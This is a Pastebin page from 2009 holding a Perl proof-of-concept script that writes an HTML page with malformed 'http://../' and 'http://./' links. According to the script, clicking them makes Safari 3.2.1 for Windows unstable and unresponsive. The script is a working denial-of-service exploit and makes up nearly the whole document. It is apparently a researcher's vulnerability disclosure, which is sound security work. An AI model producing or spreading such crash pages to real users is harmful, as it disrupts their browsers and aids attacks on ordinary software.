Advertisement
Guest User

climbo

a guest
Jan 28th, 2009
459
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.95 KB | None | 0 0
  1. ################################################
  2. # !/usr/bin/perl
  3. # Safari_httpDoSPoc.pl
  4. # Safari for Windows 3.2.1 Remote http: uri handler DoS
  5. # Lostmon [Lostmon@gmail.com ]
  6. #[http://lostmon.blogspot.com]
  7.  
  8.  
  9. $archivo = $ARGV[0];
  10. if(!defined($archivo))
  11. {
  12.  
  13. print "Uso: $0 <archivo.html>\n";
  14.  
  15. }
  16.  
  17. $cabecera = "<html><Title> Safari 3.2.1 for windows Browser Die PoC By Lostmon</title>
  18. <body>" . "\n";
  19. $codigo = "<h3>Safari 3.2.1 for windows Browser Die PoC By Lostmon <br>(lostmon@gmail.com) http://lostmon.blogspot.com</h3>
  20. <P>This PoC is a malformed http URI, this causes that safari for windows<br>
  21. turn inestable and unresponsive.<br>
  22. Click THIS link.=></p><a href=\"http://../\">Safari Die()</a> or this other =><a href=\"http://./\">Safari Die()</a>
  23. ";
  24. $piepag = "</body></html>";
  25.  
  26. $datos = $cabecera . $codigo . $piepag;
  27.  
  28. open(FILE, '>' . $archivo);
  29. print FILE $datos;
  30. close(FILE);
  31.  
  32. exit;
  33.  
  34. ############################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement